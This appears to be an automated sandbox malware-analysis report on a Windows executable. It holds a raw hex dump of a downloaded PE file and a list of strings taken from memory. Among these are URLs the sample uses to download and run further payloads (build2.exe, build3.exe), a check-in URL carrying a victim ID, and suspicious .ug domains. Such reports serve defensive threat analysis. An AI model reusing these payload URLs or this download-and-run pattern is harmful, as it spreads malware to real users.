Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Nov 2022 23:22:26 GMTServer: Apache/2.4.37 (Win64) PHP/5.6.40Last-Modified: Sat, 31 Jul 2021 08:44:14 GMTETag: "2600-5c86757379380"Accept-Ranges: bytesContent-Length: 9728Connection: closeContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 b1 8e c0 9c f5 ef ae cf f5 ef ae cf f5 ef ae cf ae 87 af ce f0 ef ae cf f5 ef af cf ff ef ae cf 6f 81 a7 ce f0 ef ae cf 6f 81 ac ce f4 ef ae cf 52 69 63 68 f5 ef ae cf 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 bc 80 04 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 12 00 00 00 12 00 00 00 00 00 00 fa 1a 00 00 00 10 00 00 00 30 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 00 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 bc 3a 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 00 00 2c 02 00 00 d0 39 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 00 00 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ab 10 00 00 00 10 00 00 00 12 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 de 0b 00 00 00 30 00 00 00 0c 00 00 00 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 60 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 2c 02 00 00 00 50 00 00 00 04 00 00 00 22 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic

HTTP traffic detected: GET /asifrazatg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0;x64 rv:107.0) Gecko / 20100101 Firefox / 107.0Host: t.me

Source: Joe Sandbox View

ASN Name: CJNET-ASCheiljedangCoIncKR CJNET-ASCheiljedangCoIncKR

Source: Joe Sandbox View

IP Address: 116.121.62.237 116.121.62.237

Source: U59WtZz2Sg.exe, 00000005.00000003.450591507.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aka.ms/rmsfaq)
Source: U59WtZz2Sg.exe, 00000005.00000003.450591507.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aka.ms/rmssdk)
Source: U59WtZz2Sg.exe, 00000005.00000003.450591507.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aka.ms/sia
Source: U59WtZz2Sg.exe, 00000005.00000003.450591507.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aka.ms/yqwsi2)
Source: U59WtZz2Sg.exe, 00000005.00000003.507888546.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.501922929.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://creativecommons.org/ns#
Source: U59WtZz2Sg.exe, 00000001.00000002.309400317.0000000000894000.00000004.00000020.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000001.00000003.306241286.000000000089F000.00000004.00000020.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000001.00000003.308057042.000000000089F000.00000004.00000020.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000001.00000003.306100466.000000000089F000.00000004.00000020.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.385286762.000000000086A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: U59WtZz2Sg.exe, 00000005.00000003.421301397.000000000306C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0=
Source: U59WtZz2Sg.exe, 00000005.00000003.536209004.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.536117643.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://facebook.github.io/react/docs/error-decoder.html?invariant
Source: U59WtZz2Sg.exe, 00000005.00000003.385085396.0000000002FB9000.00000004.00000800.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.522838758.0000000002FB2000.00000004.00000800.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.388272737.0000000002FB9000.00000004.00000800.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.487679398.0000000002FAA000.00000004.00000800.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.542575948.0000000002FAA000.00000004.00000800.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.488792776.0000000002FB2000.00000004.00000800.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.385286762.000000000086A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fresherlights.com/files/1/build3.exe
Source: U59WtZz2Sg.exe, 00000005.00000003.385404722.00000000008AD000.00000004.00000020.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000002.574964169.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fresherlights.com/files/1/build3.exe$run
Source: U59WtZz2Sg.exe, 00000005.00000003.385404722.00000000008AD000.00000004.00000020.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000002.574964169.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fresherlights.com/files/1/build3.exe$runU
Source: U59WtZz2Sg.exe, 00000005.00000003.385085396.0000000002FB9000.00000004.00000800.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.522838758.0000000002FB2000.00000004.00000800.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.388272737.0000000002FB9000.00000004.00000800.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.487679398.0000000002FAA000.00000004.00000800.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.542575948.0000000002FAA000.00000004.00000800.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.488792776.0000000002FB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fresherlights.com/files/1/build3.exe(
Source: U59WtZz2Sg.exe, 00000005.00000003.385286762.000000000086A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fresherlights.com/files/1/build3.exerun
Source: U59WtZz2Sg.exe, 00000005.00000003.385404722.00000000008AD000.00000004.00000020.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000002.576922763.00000000008C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fresherlights.com/test1/get.php
Source: U59WtZz2Sg.exe, 00000005.00000003.385404722.00000000008AD000.00000004.00000020.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000002.574964169.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fresherlights.com/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54&first=true
Source: U59WtZz2Sg.exe, 00000005.00000003.385404722.00000000008AD000.00000004.00000020.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000002.574964169.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fresherlights.com/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54&first=trueW
Source: U59WtZz2Sg.exe, 00000005.00000003.385404722.00000000008AD000.00000004.00000020.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000002.574964169.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fresherlights.com/test1/get.phpg
Source: U59WtZz2Sg.exe, 00000000.00000002.305141359.0000000002220000.00000040.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000001.00000000.303569533.0000000000400000.00000040.00000400.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000001.00000002.309064408.0000000000400000.00000040.00000400.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000001.00000000.301786839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000003.00000002.318481347.00000000021E0000.00000040.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000004.00000002.362805036.0000000002280000.00000040.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000000.317450025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000002.564528734.0000000000400000.00000040.00000400.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000000.314284082.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error
Source: U59WtZz2Sg.exe, 00000005.00000003.421301397.000000000306C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB16g6qc?h=27&w=27&m=6&q=60&u=t&o=t&l=f&f=png
Source: U59WtZz2Sg.exe, 00000005.00000003.421301397.000000000306C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB19xGDT?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=j
Source: U59WtZz2Sg.exe, 00000005.00000003.421301397.000000000306C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB19yF6n?h=333&w=311&m=6&q=60&u=t&o=t&l=f&f=j
Source: U59WtZz2Sg.exe, 00000005.00000003.421301397.000000000306C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB19yxVU?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=j
Source: U59WtZz2Sg.exe, 00000005.00000003.421301397.000000000306C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBPfCZL?h=27&w=27&m=6&q=60&u=t&o=t&l=f&f=png
Source: U59WtZz2Sg.exe, 00000005.00000003.421301397.000000000306C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBX2afX?h=27&w=27&m=6&q=60&u=t&o=t&l=f&f=png
Source: U59WtZz2Sg.exe, 00000005.00000003.421301397.000000000306C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBi9v6?m=6&o=true&u=true&n=true&w=30&h=30
Source: U59WtZz2Sg.exe, 00000005.00000003.421301397.000000000306C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBnYSFZ?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
Source: U59WtZz2Sg.exe, 00000005.00000003.421301397.000000000306C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0:
Source: U59WtZz2Sg.exe, 00000005.00000003.421301397.000000000306C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.msocsp.com0
Source: U59WtZz2Sg.exe, 00000005.00000003.497150466.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://searchads.msn.net/.cfm?&&kp=1&
Source: U59WtZz2Sg.exe, 00000005.00000003.507888546.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.501922929.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd
Source: U59WtZz2Sg.exe, 00000005.00000003.421301397.000000000306C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/de-ch/homepage/_sc/css/f60532dd-3aac3bb8/directi
Source: U59WtZz2Sg.exe, 00000005.00000003.421301397.000000000306C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/de-ch/homepage/_sc/js/f60532dd-f8dd99d9/directio
Source: U59WtZz2Sg.exe, 00000005.00000003.421301397.000000000306C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/11/755f86.png
Source: U59WtZz2Sg.exe, 00000005.00000003.421301397.000000000306C000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.444451772.0000000003060000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/2b/a5ea21.ico
Source: U59WtZz2Sg.exe, 00000005.00000003.421301397.000000000306C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/64/a8a064.gif
Source: U59WtZz2Sg.exe, 00000005.00000003.421301397.000000000306C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/9b/e151e5.gif
Source: U59WtZz2Sg.exe, 00000005.00000003.421301397.000000000306C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/ea/4996b9.woff
Source: U59WtZz2Sg.exe, 00000005.00000003.421301397.000000000306C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB16g6qc.img?h=27&w=27&
Source: U59WtZz2Sg.exe, 00000005.00000003.421301397.000000000306C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19xGDT.img?h=166&w=31
Source: U59WtZz2Sg.exe, 00000005.00000003.421301397.000000000306C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19yF6n.img?h=333&w=31
Source: U59WtZz2Sg.exe, 00000005.00000003.421301397.000000000306C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19yxVU.img?h=166&w=31
Source: U59WtZz2Sg.exe, 00000005.00000003.421301397.000000000306C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBPfCZL.img?h=27&w=27&m
Source: U59WtZz2Sg.exe, 00000005.00000003.421301397.000000000306C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBX2afX.img?h=27&w=27&m
Source: U59WtZz2Sg.exe, 00000005.00000003.421301397.000000000306C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBi9v6.img?m=6&o=true&u
Source: U59WtZz2Sg.exe, 00000005.00000003.421301397.000000000306C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBnYSFZ.img?h=16&w=16&m
Source: U59WtZz2Sg.exe, 00000005.00000003.385404722.00000000008AD000.00000004.00000020.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000002.574964169.00000000008AD000.00000004.00000020.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.385286762.000000000086A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://uaery.top/dl/build2.exe
Source: U59WtZz2Sg.exe, 00000005.00000002.574964169.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://uaery.top/dl/build2.exe$run
Source: U59WtZz2Sg.exe, 00000005.00000003.385404722.00000000008AD000.00000004.00000020.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000002.574964169.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://uaery.top/dl/build2.exeJ_
Source: U59WtZz2Sg.exe, 00000005.00000003.385286762.000000000086A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://uaery.top/dl/build2.exerunk6
Source: U59WtZz2Sg.exe, 00000005.00000003.349908003.0000000003060000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.amazon.com/
Source: U59WtZz2Sg.exe, 00000005.00000003.545871666.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.ecma-international.org/ecma-262/5.1/#sec-C
Source: U59WtZz2Sg.exe, 00000005.00000003.408637409.0000000003060000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.freetype.org
Source: U59WtZz2Sg.exe, 00000005.00000003.530047759.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528005153.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.527905885.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.527699347.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.529404894.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528855392.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528097089.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528636685.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.529863093.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.529604993.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528540404.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.527571080.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528204840.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.gnu.org/licenses/gpl-2.0.html.
Source: U59WtZz2Sg.exe, 00000005.00000003.350519152.0000000003060000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com/
Source: U59WtZz2Sg.exe, 00000005.00000003.507888546.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.501922929.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.inkscape.org/)
Source: U59WtZz2Sg.exe, 00000005.00000003.507888546.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.501922929.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.inkscape.org/namespaces/inkscape
Source: U59WtZz2Sg.exe, 00000005.00000003.350689497.0000000003060000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.live.com/
Source: U59WtZz2Sg.exe, 00000005.00000003.421301397.000000000306C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.msn.com/
Source: U59WtZz2Sg.exe, 00000005.00000003.421301397.000000000306C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.msn.com/?ocid=iehp
Source: U59WtZz2Sg.exe, 00000005.00000003.497150466.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.msn.com/de-ch/?ocid=iehp
Source: U59WtZz2Sg.exe, 00000005.00000003.350793064.0000000003060000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.nytimes.com/
Source: U59WtZz2Sg.exe, 00000005.00000003.408637409.0000000003060000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.openssl.org/)
Source: U59WtZz2Sg.exe, 00000005.00000000.314284082.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: U59WtZz2Sg.exe, 00000005.00000003.530047759.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528005153.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.527905885.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.527699347.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.529404894.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528855392.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528097089.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528636685.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.529863093.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.529604993.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528540404.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.527571080.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528204840.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.qt.io/contact-us.
Source: U59WtZz2Sg.exe, 00000005.00000003.530047759.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528005153.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.527905885.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.527699347.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.529404894.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528855392.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528097089.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528636685.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.529863093.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.529604993.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528540404.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.527571080.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528204840.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.qt.io/licensing/
Source: U59WtZz2Sg.exe, 00000005.00000003.530047759.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528005153.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.527905885.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.527699347.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.529404894.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528855392.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528097089.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528636685.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.529863093.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.529604993.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528540404.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.527571080.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528204840.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.qt.io/terms-conditions.
Source: U59WtZz2Sg.exe, 00000005.00000003.350865270.0000000003060000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.reddit.com/
Source: U59WtZz2Sg.exe, 00000005.00000003.350997403.0000000003060000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.twitter.com/
Source: U59WtZz2Sg.exe, 00000005.00000003.351096585.0000000003060000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.wikipedia.com/
Source: U59WtZz2Sg.exe, 00000005.00000003.351612553.0000000003060000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.youtube.com/
Source: U59WtZz2Sg.exe, 00000005.00000003.496991699.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://2542116.fls.doubleclick.net/activityi;src=2542116;type=2542116;cat=chom0;ord=4842492154761;g
Source: U59WtZz2Sg.exe, 00000005.00000003.496991699.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://2542116.fls.doubleclick.net/activityi;src=2542116;type=chrom322;cat=chrom01g;ord=58648497779
Source: U59WtZz2Sg.exe, 00000005.00000003.496991699.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://2542116.fls.doubleclick.net/activityi;src=2542116;type=clien612;cat=chromx;ord=1;num=3931852
Source: U59WtZz2Sg.exe, 00000005.00000003.362264776.0000000003060000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com
Source: U59WtZz2Sg.exe, 00000005.00000003.496991699.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://adservice.google.co.uk/ddm/fls/i/src=2542116;type=chrom322;cat=chrom01g;ord=5864849777998;gt
Source: U59WtZz2Sg.exe, 00000005.00000003.496991699.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://adservice.google.com/ddm/fls/i/src=2542116;type=chrom322;cat=chrom01g;ord=5864849777998;gtm=
